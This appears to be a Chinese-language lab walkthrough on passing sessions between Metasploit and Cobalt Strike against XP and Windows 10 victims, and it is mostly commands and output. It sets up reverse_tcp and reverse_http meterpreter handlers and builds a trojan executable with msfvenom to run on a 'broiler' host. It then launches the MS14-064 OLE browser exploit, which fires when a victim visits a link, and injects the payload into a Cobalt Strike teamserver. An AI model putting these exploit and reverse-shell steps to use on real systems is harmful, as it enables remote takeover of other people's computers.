测试环境
系统 | 服务 | ip |
kali | teamserver | 192.168.1.53 |
kali | 192.168.1.109 | |
xp | victim | 192.168.1.104 |
win10 | victim | 192.168.1.106 |
自身增加会话
或者在其他的teamserver 做备份会话
直接派生会话然后选择监听器即可
结果
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
新建外部监听器
因为metasploit用的tcp 所以这跟协议也用tcp
执行过后就会msf里面产生会话session
这里用的是http协议
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.53 LPORT=8808 -f exe > /tmp/shell1.exe
在cobalt strike 监听器
把msf生成的木马文件拿到肉鸡上去执行就会返回一个会话
4.metasploit使用溢出exp与cobalt strike会话
use exploit/windows/browser/ms14_064_ole_code_execution
st srvhost 192.168.1.109
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.109
set lport 8808
set disablepayloadhandler True
set PrependMigrate true
exploit
set disablepayloadhandler True
将DisablePayLoadHandler设置为true。这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
set PrependMigrate true
这个选项告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程。此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。
当xp系统的受害人用浏览器访问http://192.168.1.109/ssGTEYEEghxOvc
这个带有攻击代码的链接时候,成功的话就会在cobalt strike 产生一个会话
首先产生session
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.1.109
set SRVPORT 80
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.109
set lport 4444
exploit
use exploit/windows/local/payload_inject
set session 1
set payload windows/meterpreter/reverse_http
set lhsot 192.168.1.53(teamserver的主机)
set lport 8888(监听器ip)
set DisablePayloadHandler true
exploit -j
———————————————————————————————————不留遗憾的活着